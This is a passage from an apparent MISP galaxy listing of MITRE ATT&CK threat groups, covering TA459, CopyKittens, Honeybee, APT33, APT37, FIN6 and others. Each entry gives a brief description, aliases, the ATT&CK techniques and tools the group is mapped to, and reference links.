uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 3023. Table References
Links
https://attack.mitre.org/groups/G0082
https://content.fireeye.com/apt/rpt-apt38
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://securelist.com/lazarus-under-the-hood/77908/

TA459 - G0062

[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)

The tag is: misp-galaxy:mitre-intrusion-set="TA459 - G0062"

TA459 - G0062 is also known as:

TA459

TA459 - G0062 has relationships with:

similar: misp-galaxy:threat-actor="TA459" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NetTraveler - S0033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

Table 3024. Table References
Links
https://attack.mitre.org/groups/G0062
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts

MONSOON - G0042

The tag is: misp-galaxy:mitre-intrusion-set="MONSOON - G0042"

MONSOON - G0042 has relationships with:

similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"
revoked-by: misp-galaxy:mitre-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="almost-certain"

Table 3025. Table References
Links
https://attack.mitre.org/groups/G0042

CopyKittens - G0052

[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

The tag is: misp-galaxy:mitre-intrusion-set="CopyKittens - G0052"

CopyKittens - G0052 is also known as:

CopyKittens

CopyKittens - G0052 has relationships with:

similar: misp-galaxy:threat-actor="CopyKittens" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="TDTESS - S0164" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3026. Table References
Links
https://attack.mitre.org/groups/G0052
http://www.clearskysec.com/copykitten-jpost/
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf

Honeybee - G0072

[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japans, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)

The tag is: misp-galaxy:mitre-intrusion-set="Honeybee - G0072"

Honeybee - G0072 is also known as:

Honeybee

Honeybee - G0072 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3027. Table References
Links
https://attack.mitre.org/groups/G0072
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/

APT33 - G0064

[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: misp-galaxy:mitre-intrusion-set="APT33 - G0064"

APT33 - G0064 is also known as:

APT33
Elfin

APT33 - G0064 has relationships with:

similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="MAGNALLIUM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="TURNEDUP - S0199" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Ruler - S0358" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="FTP - S0095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="POWERTON - S0371" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PoshC2 - S0378" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="StoneDrill - S0380" with estimative-language:likelihood-probability="almost-certain"

Table 3028. Table References
Links
https://attack.mitre.org/groups/G0064
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.brighttalk.com/webcast/10703/275683
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

The tag is: misp-galaxy:mitre-intrusion-set="APT34 - G0057"

APT34 - G0057 has relationships with:

similar: misp-galaxy:threat-actor="APT34" with estimative-language:likelihood-probability="likely"
revoked-by: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="almost-certain"

Table 3029. Table References
Links
https://attack.mitre.org/groups/G0057

Group5 - G0043

[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)

The tag is: misp-galaxy:mitre-intrusion-set="Group5 - G0043"

Group5 - G0043 is also known as:

Group5

Group5 - G0043 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"

Table 3030. Table References
Links
https://attack.mitre.org/groups/G0043
https://citizenlab.ca/2016/08/group5-syria/

FIN5 - G0053

[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: misp-galaxy:mitre-intrusion-set="FIN5 - G0053"

FIN5 - G0053 is also known as:

FIN5

FIN5 - G0053 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RawPOS - S0169" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="FLIPSIDE - S0173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Table 3031. Table References
Links
https://attack.mitre.org/groups/G0053
https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html
https://www.youtube.com/watch?v=fevGZs0EQu8
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?

Dragonfly - G0035

[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)

A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035"

Dragonfly - G0035 is also known as:

Dragonfly
Energetic Bear

Dragonfly - G0035 has relationships with:

similar: misp-galaxy:threat-actor="Energetic Bear" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Trojan.Karagany - S0094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093" with estimative-language:likelihood-probability="almost-certain"

Table 3032. Table References
Links
https://attack.mitre.org/groups/G0035
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
http://fortune.com/2017/09/06/hack-energy-grid-symantec/

APT37 - G0067

[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)

The tag is: misp-galaxy:mitre-intrusion-set="APT37 - G0067"

APT37 - G0067 is also known as:

APT37
ScarCruft
Reaper
Group123
TEMP.Reaper

APT37 - G0067 has relationships with:

similar: misp-galaxy:threat-actor="ScarCruft" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ROKRAT - S0240" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NavRAT - S0247" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Final1stspy - S0355" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 3033. Table References
Links
https://attack.mitre.org/groups/G0067
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://securelist.com/operation-daybreak/75100/
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://securelist.com/lazarus-under-the-hood/77908/
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/

FIN6 - G0037

[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)

The tag is: misp-galaxy:mitre-intrusion-set="FIN6 - G0037"

FIN6 - G0037 is also known as:

FIN6
ITG08

FIN6 - G0037 has relationships with:

similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="LockerGoga - S0372" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"

Table 3034. Table References
Links
https://attack.mitre.org/groups/G0037
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
